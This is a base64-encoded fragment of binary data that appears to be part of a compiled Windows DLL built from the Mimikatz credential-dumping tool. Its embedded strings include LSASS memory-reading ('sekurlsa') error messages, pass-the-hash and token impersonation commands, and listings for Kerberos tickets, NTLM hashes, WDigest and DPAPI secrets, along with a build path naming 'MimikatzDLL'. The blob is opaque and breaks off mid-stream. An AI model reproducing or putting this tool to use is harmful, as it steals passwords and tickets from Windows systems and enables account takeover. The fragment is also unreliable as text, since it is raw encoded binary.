BSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEIAbwBhAHIAZAAgAGMAbwBwAHkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEcAYQBtAGUAIABjAG8AcAB5AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABHACAAYwBvAHAAeQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwBsAG8AYgBhAGwAIABjAG8AcAB5AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAAUwBlAGEAcgBjAGgAIABpAHMAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBpAG4AZQBzAHcAZQBlAHAAZQByACAATgBUACAASABlAGEAZABlAHIAcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBpAG4AZQBzAHcAZQBlAHAAZQByACAAUABFAEIACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATgBvACAATQBpAG4AZQBTAHcAZQBlAHAAZQByACAAaQBuACAAbQBlAG0AbwByAHkAIQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAGUAbABlAG0AZQBuAHQAcwAgAGYAcgBvAG0AIABjAG8AbAB1AG0AbgA6ACAAJQB1AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAcgBlAGYAZQByAGUAbgBjAGUAcwAgAGYAcgBvAG0AIABjAG8AbAB1AG0AbgA6ACAAJQB1AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIAByAGUAZgBlAHIAZQBuAGMAZQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIABmAGkAcgBzAHQAIABlAGwAZQBtAGUAbgB0AAoAAABsAHMAYQBzAHIAdgAAAAAATHNhSUNhbmNlbE5vdGlmaWNhdGlvbgAATHNhSVJlZ2lzdGVyTm90aWZpY2F0aW9uAAAAAGIAYwByAHkAcAB0AAAAAABCQ3J5cHRPcGVuQWxnb3JpdGhtUHJvdmlkZXIAQkNyeXB0U2V0UHJvcGVydHkAAABCQ3J5cHRHZXRQcm9wZXJ0eQAAAEJDcnlwdEdlbmVyYXRlU3ltbWV0cmljS2V5AABCQ3J5cHRFbmNyeXB0AAAAQkNyeXB0RGVjcnlwdAAAAEJDcnlwdERlc3Ryb3lLZXkAAAAAQkNyeXB0Q2xvc2VBbGdvcml0aG1Qcm92aWRlcgAAAAAzAEQARQBTAAAAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQBDAEIAQwAAAEMAaABhAGkAbgBpAG4AZwBNAG8AZABlAAAAAABPAGIAagBlAGMAdABMAGUAbgBnAHQAaAAAAAAAQQBFAFMAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQBDAEYAQgAAAEMAYQBjAGgAZQBkAFUAbgBsAG8AYwBrAAAAAABDAGEAYwBoAGUAZABSAGUAbQBvAHQAZQBJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABDAGEAYwBoAGUAZABJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABSAGUAbQBvAHQAZQBJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABOAGUAdwBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAE4AZQB0AHcAbwByAGsAQwBsAGUAYQByAHQAZQB4AHQAAAAAAFUAbgBsAG8AYwBrAAAAAABQAHIAbwB4AHkAAABTAGUAcgB2AGkAYwBlAAAAQgBhAHQAYwBoAAAATgBlAHQAdwBvAHIAawAAAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAFUAbgBrAG4AbwB3AG4AIAAhAAAAVQBuAGQAZQBmAGkAbgBlAGQATABvAGcAbwBuAFQAeQBwAGUAAAAAAEwAaQBzAHQAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABNAGEAbgBhAGcAZQByAAAAAABjAHIAZQBkAG0AYQBuAAAATABpAHMAdAAgAEMAYQBjAGgAZQBkACAATQBhAHMAdABlAHIASwBlAHkAcwAAAAAATABpAHMAdAAgAEsAZQByAGIAZQByAG8AcwAgAEUAbgBjAHIAeQBwAHQAaQBvAG4AIABLAGUAeQBzAAAAZQBrAGUAeQBzAAAATABpAHMAdAAgAEsAZQByAGIAZQByAG8AcwAgAHQAaQBjAGsAZQB0AHMAAAB0AGkAYwBrAGUAdABzAAAARABQAEEAUABJAF8AUwBZAFMAVABFAE0AIABzAGUAYwByAGUAdAAAAGQAcABhAHAAaQBzAHkAcwB0AGUAbQAAAGsAcgBiAHQAZwB0ACEAAABQAGEAcwBzAC0AdABoAGUALQBoAGEAcwBoAAAAcAB0AGgAAABTAHcAaQB0AGMAaAAgACgAbwByACAAcgBlAGkAbgBpAHQAKQAgAHQAbwAgAEwAUwBBAFMAUwAgAG0AaQBuAGkAZAB1AG0AcAAgAGMAbwBuAHQAZQB4AHQAAAAAAG0AaQBuAGkAZAB1AG0AcAAAAAAAUwB3AGkAdABjAGgAIAAoAG8AcgAgAHIAZQBpAG4AaQB0ACkAIAB0AG8AIABMAFMAQQBTAFMAIABwAHIAbwBjAGUAcwBzACAAIABjAG8AbgB0AGUAeAB0AAAAAAAAAAAATABpAHMAdABzACAAYQBsAGwAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHAAcgBvAHYAaQBkAGUAcgBzACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAbABvAGcAbwBuAFAAYQBzAHMAdwBvAHIAZABzAAAAAABMAGkAcwB0AHMAIABTAFMAUAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAHMAcwBwAAAATABpAHMAdABzACAATABpAHYAZQBTAFMAUAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAGwAaQB2AGUAcwBzAHAAAABMAGkAcwB0AHMAIABUAHMAUABrAGcAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAB0AHMAcABrAGcAAABMAGkAcwB0AHMAIABLAGUAcgBiAGUAcgBvAHMAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAEwAaQBzAHQAcwAgAFcARABpAGcAZQBzAHQAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAB3AGQAaQBnAGUAcwB0AAAATABpAHMAdABzACAATABNACAAJgAgAE4AVABMAE0AIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABtAHMAdgAAAAAAAABTAG8AbQBlACAAYwBvAG0AbQBhAG4AZABzACAAdABvACAAZQBuAHUAbQBlAHIAYQB0AGUAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMALgAuAC4AAABTAGUAawB1AHIATABTAEEAIABtAG8AZAB1AGwAZQAAAHMAZQBrAHUAcgBsAHMAYQAAAAAAUwB3AGkAdABjAGgAIAB0AG8AIABQAFIATwBDAEUAUwBTAAoAAAAAAFMAdwBpAHQAYwBoACAAdABvACAATQBJAE4ASQBEAFUATQBQACAAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AbQBpAG4AaQBkAHUAbQBwACAAOwAgADwAbQBpAG4AaQBkAHUAbQBwAGYAaQBsAGUALgBkAG0AcAA+ACAAYQByAGcAdQBtAGUAbgB0ACAAaQBzACAAbQBpAHMAcwBpAG4AZwAKAAAAAAAAAAAATwBwAGUAbgBpAG4AZwAgADoAIAAnACUAcwAnACAAZgBpAGwAZQAgAGYAbwByACAAbQBpAG4AaQBkAHUAbQBwAC4ALgAuAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABTAEEAUwBTACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0ACAAZgBvAHUAbgBkACAAKAA/ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIABwAEkAbgBmAG8AcwAtAD4ATQBhAGoAbwByAFYAZQByAHMAaQBvAG4AIAAoACUAdQApACAAIQA9ACAATQBJAE0ASQBLAEEAVABaAF8ATgBUAF8ATQBBAEoATwBSAF8AVgBFAFIAUwBJAE8ATgAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIABwAEkAbgBmAG8AcwAtAD4AUAByAG8AYwBlAHMAcwBvAHIAQQByAGMAaABpAHQAZQBjAHQAdQByAGUAIAAoACUAdQApACAAIQA9ACAAUABSAE8AQwBFAFMAUwBPAFIAXwBBAFIAQwBIAEkAVABFAEMAVABVAFIARQBfAEkATgBUAEUATAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIAB3AGkAdABoAG8AdQB0ACAAUwB5AHMAdABlAG0ASQBuAGYAbwBTAHQAcgBlAGEAbQAgACgAPwApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEsAZQB5ACAAaQBtAHAAbwByAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAbwBnAG8AbgAgAGwAaQBzAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AbwBkAHUAbABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AZQBtAG8AcgB5ACAAbwBwAGUAbgBpAG4AZwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAASABhAG4AZABsAGUAIABvAG4AIABtAGUAbQBvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAG8AYwBhAGwAIABMAFMAQQAgAGwAaQBiAHIAYQByAHkAIABmAGEAaQBsAGUAZAAKAAAAAAAJACUAcwAgADoACQAAAAAAAAAAAAoAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACAASQBkACAAOgAgACUAdQAgADsAIAAlAHUAIAAoACUAMAA4AHgAOgAlADAAOAB4ACkACgBTAGUAcwBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQBzACAAZgByAG8AbQAgACUAdQAKAFUAcwBlAHIAIABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAEQAbwBtAGEAaQBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAEwAbwBnAG8AbgAgAFMAZQByAHYAZQByACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAAAAAABMAG8AZwBvAG4AIABUAGkAbQBlACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAFMASQBEACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAUAByAGUAdgBpAG8AdQBzAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGsAcgBiAHQAZwB0ACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAZgBpAG4AZAAgAEsARABDACAAcABhAHQAdABlAHIAbgAgAGkAbgAgAEwAUwBBAFMAUwAgAG0AZQBtAG8AcgB5AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AawByAGIAdABnAHQAIAA7ACAASwBEAEMAIABzAGUAcgB2AGkAYwBlACAAbgBvAHQAIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAACgAlAHMAIABrAHIAYgB0AGcAdAA6ACAAAAAAACUAdQAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAKAAAACQAgACoAIAAlAHMAIAA6ACAAAABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAKAAAAZgB1AGwAbAA6ACAAAAAAAAoAbQAvAHUAIAA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBkAHAAYQBwAGkAXwBzAHkAcwB0AGUAbQAgADsAIABOAG8AdAAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAZAAhAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAAUABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkACAAaQBuACAARABQAEEAUABJACAAcwBlAHIAdgBpAGMAZQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBkAHAAYQBwAGkAXwBzAHkAcwB0AGUAbQAgADsAIABEAFAAQQBQAEkAIABzAGUAcgB2AGkAYwBlACAAbgBvAHQAIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAAaQBtAHAAZQByAHMAbwBuAGEAdABlAAAAcgB1AG4AAAB5AGUAcwAAAG4AbwAAAAAAdQBzAGUAcgAJADoAIAAlAHMACgBkAG8AbQBhAGkAbgAJADoAIAAlAHMACgBwAHIAbwBnAHIAYQBtAAkAOgAgACUAcwAKAGkAbQBwAGUAcgBzAC4ACQA6ACAAJQBzAAoAAAAAAEEARQBTADEAMgA4AAkAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAxADIAOAAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAxADIAOAAgAGsAZQB5ACAAbwBuAGwAeQAgAHMAdQBwAHAAbwByAHQAZQBkACAAZgByAG8AbQAgAFcAaQBuAGQAbwB3AHMAIAA4AC4AMQAgACgAbwByACAANwAvADgAIAB3AGkAdABoACAAawBiADIAOAA3ADEAOQA5ADcAKQAKAAAAQQBFAFMAMgA1ADYACQA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAANgA0ACAAKAAzADIAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbwBuAGwAeQAgAHMAdQBwAHAAbwByAHQAZQBkACAAZgByAG8AbQAgAFcAaQBuAGQAbwB3AHMAIAA4AC4AMQAgACgAbwByACAANwAvADgAIAB3AGkAdABoACAAawBiADIAOAA3ADEAOQA5ADcAKQAKAAAATgBUAEwATQAJADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAbgB0AGwAbQAgAGgAYQBzAGgALwByAGMANAAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAIAAgAHwAIAAgAFAASQBEACAAIAAlAHUACgAgACAAfAAgACAAVABJAEQAIAAgACUAdQAKAAAAAAAgACAAfAAgACAATABVAEkARAAgACUAdQAgADsAIAAlAHUAIAAoACUAMAA4AHgAOgAlADAAOAB4ACkACgAAAAAAIAAgAFwAXwAgAG0AcwB2ADEAXwAwACAAIAAgAC0AIAAAAAAAIAAgAFwAXwAgAGsAZQByAGIAZQByAG8AcwAgAC0AIAAAAAAAKgAqACAAVABvAGsAZQBuACAASQBtAHAAZQByAHMAbwBuAGEAdABpAG8AbgAgACoAKgAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAFMAZQB0AFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABEAHUAcABsAGkAYwBhAHQAZQBUAG8AawBlAG4ARQB4ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAARwBlAHQAVABvAGsAZQBuAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAVwBpAHQAaABMAG8AZwBvAG4AVwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAdAAgAGwAZQBhAHMAdAAgAG8AbgBlACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAG4AdABsAG0ALwByAGMANAAgAE8AUgAgAGEAZQBzADEAMgA4ACAATwBSACAAYQBlAHMAMgA1ADYACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAZABvAG0AYQBpAG4ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAHUAcwBlAHIACgAAAAAAAAAAAAoACQAgACoAIABVAHMAZQByAG4AYQBtAGUAIAA6ACAAJQB3AFoACgAJACAAKgAgAEQAbwBtAGEAaQBuACAAIAAgADoAIAAlAHcAWgAAAAAACgAJACAAKgAgAEwATQAgACAAIAAgACAAIAAgADoAIAAAAAAACgAJACAAKgAgAE4AVABMAE0AIAAgACAAIAAgADoAIAAAAAAACgAJACAAKgAgAFMASABBADEAIAAgACAAIAAgADoAIAAAAAAAAAAAAAoACQAgACoAIABGAGwAYQBnAHMAIAAgACAAIAA6ACAASQAlADAAMgB4AC8ATgAlADAAMgB4AC8ATAAlADAAMgB4AC8AUwAlADAAMgB4AAAACgAJACAAKgAgAFIAYQB3ACAAZABhAHQAYQAgADoAIAAAAAAACgAJACAAKgAgAFMAbQBhAHIAdABjAGEAcgBkAAAAAAAKAAkAIAAgACAAIAAgAFAASQBOACAAYwBvAGQAZQAgADoAIAAlAHcAWgAAAAoACQAgACAAIAAgACAATQBvAGQAZQBsACAAIAAgACAAOgAgACUAcwAKAAkAIAAgACAAIAAgAFIAZQBhAGQAZQByACAAIAAgADoAIAAlAHMACgAJACAAIAAgACAAIABLAGUAeQAgAG4AYQBtAGUAIAA6ACAAJQBzAAoACQAgACAAIAAgACAAUAByAG8AdgBpAGQAZQByACAAOgAgACUAcwAAAAAACQAgACAAIAAlAHMAIAAAADwAbgBvACAAcwBpAHoAZQAsACAAYgB1AGYAZgBlAHIAIABpAHMAIABpAG4AYwBvAHIAcgBlAGMAdAA+AAAAAAAlAHcAWgAJACUAdwBaAAkAAAAAAAoACQAgACoAIABVAHMAZQByAG4AYQBtAGUAIAA6ACAAJQB3AFoACgAJACAAKgAgAEQAbwBtAGEAaQBuACAAIAAgADoAIAAlAHcAWgAKAAkAIAAqACAAUABhAHMAcwB3AG8AcgBkACAAOgAgAAAAAABMAFUASQBEACAASwBPAAoAAAAAAAoACQAgACoAIABSAG8AbwB0AEsAZQB5ACAAIAA6ACAAAAAAAAoACQAgACoAIABEAFAAQQBQAEkAIAAgACAAIAA6ACAAAAAAAAoACQAgACoAIAAlADAAOAB4ACAAOgAgAAAAAAAKAAkAIAAgACAAKgAgAEwAUwBBACAASQBzAG8AbABhAHQAZQBkACAARABhAHQAYQA6ACAAJQAuACoAUwAAAAAACgAJACAAIAAgACAAIABVAG4AawAtAEsAZQB5ACAAIAA6ACAAAAAAAAoACQAgACAAIAAgACAARQBuAGMAcgB5AHAAdABlAGQAOgAgAAAAAAAKAAkAIABbACUAMAA4AHgAXQAAAGQAcABhAHAAaQBzAHIAdgAuAGQAbABsAAAAAAAJACAAWwAlADAAOAB4AF0ACgAJACAAKgAgAEcAVQBJAEQAIAAgACAAIAAgACAAOgAJAAAACgAJACAAKgAgAFQAaQBtAGUAIAAgACAAIAAgACAAOgAJAAAACgAJACAAKgAgAE0AYQBzAHQAZQByAEsAZQB5ACAAOgAJAAAACgAJACAAKgAgAHMAaABhADEAKABrAGUAeQApACAAOgAJAAAACgAJAEsATwAAAAAAVABpAGMAawBlAHQAIABHAHIAYQBuAHQAaQBuAGcAIABUAGkAYwBrAGUAdAAAAAAAQwBsAGkAZQBuAHQAIABUAGkAYwBrAGUAdAAgAD8AAABUAGkAYwBrAGUAdAAgAEcAcgBhAG4AdABpAG4AZwAgAFMAZQByAHYAaQBjAGUAAABrAGUAcgBiAGUAcgBvAHMALgBkAGwAbAAAAAAACgAJAEcAcgBvAHUAcAAgACUAdQAgAC0AIAAlAHMAAAAKAAkAIAAqACAASwBlAHkAIABMAGkAcwB0ACAAOgAKAAAAAABkAGEAdABhACAAYwBvAHAAeQAgAEAAIAAlAHAAAAAAAAoAIAAgACAAXABfACAAJQBzACAAAAAAAC0APgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZQBuAHUAbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYQBsAGwAYgBhAGMAawBfAHAAdABoACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAKACAAIAAgAFwAXwAgACoAUABhAHMAcwB3AG8AcgBkACAAcgBlAHAAbABhAGMAZQAgAC0APgAgAAAAAABuAHUAbABsAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgB1AG0AXwB0AGkAYwBrAGUAdABzACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAACgAJACAAIAAgAEwAUwBBACAAUwBlAHMAcwBpAG8AbgAgAEsAZQB5ACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAAAAAAAABbACUAeAA7ACUAeABdAC0AJQAxAHUALQAlAHUALQAlADAAOAB4AC0AJQB3AFoAQAAlAHcAWgAtACUAdwBaAC4AJQBzAAAAAABbACUAeAA7ACUAeABdAC0AJQAxAHUALQAlAHUALQAlADAAOAB4AC4AJQBzAAAAAABsAGkAdgBlAHMAcwBwAC4AZABsAGwAAABDcmVkZW50aWFsS2V5cwAAUHJpbWFyeQAKAAkAIABbACUAMAA4AHgAXQAgACUAWgAAAAAAZABhAHQAYQAgAGMAbwBwAHkAIABAACAAJQBwACAAOgAgAAAATwBLACAAIQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AbQBzAHYAXwBlAG4AdQBtAF8AYwByAGUAZABfAGMAYQBsAGwAYgBhAGMAawBfAHAAdABoACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAuAAAAAAAAAG4ALgBlAC4AIAAoAEsASQBXAEkAXwBNAFMAVgAxAF8AMABfAFAAUgBJAE0AQQBSAFkAXwBDAFIARQBEAEUATgBUAEkAQQBMAFMAIABLAE8AKQAAAAAAAABuAC4AZQAuACAAKABLAEkAVwBJAF8ATQBTAFYAMQBfADAAXwBDAFIARQBEAEUATgBUAEkAQQBMAFMAIABLAE8AKQAAAHQAcwBwAGsAZwAuAGQAbABsAAAAdwBkAGkAZwBlAHMAdAAuAGQAbABsAAAAl8ICEAStBBChwAIQ8ssBEGJhZCBleGNlcHRpb24AAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD40gQQUK0EEAgAAABSU0RTWzxOLR9IRU6SOwmvUes8xgIAAABEOlxDb2RlXFNsaW5nc2hvdDJcUmVsZWFzZVxNaW1pa2F0ekRMTC5wZGIAAAAAAAAAAAAAAAAAAADQBBBQqwQQAAAAAAAAAAACAAAAYKsEEGyrBBC0rAQQAAAAAADQBBABAAAAAAAAAP////8AAAAAQAAAAFCrBBAAAAAAAAAAAAAAAAAg0AQQnKsEEAAAAAAAAAAAAwAAAKyrBBC8qwQQbKsEELSsBBAAAAAAINAEEAIAAAAAAAAA/////wAAAABAAAAAnKsEEAAAAAAAAAAAAAAAAEDQBBDsqwQQAAAAAAAAAAADAAAA/KsEEAysBBBsqwQQtKwEEAAAAABA0AQQAgAAAAAAAAD/////AAAAAEAAAADsqwQQAAAAAAAAAAAAAAAAIN8EENCsBBAAAAAAAAAAAAAAAABg0AQQUKwEEAAAAAAAAAAAAQAAAGCsBBBorAQQAAAAAGDQBBAAAAAAAAAAAP////8AAAAAQAAAAFCsBBAAAAAAAAAAAAAAAAA83wQQmKwEEAAAAAAAAAAAAgAAAKisBBDorAQQtKwEEAAAAAAg3wQQAAAAAAAAAAD/////AA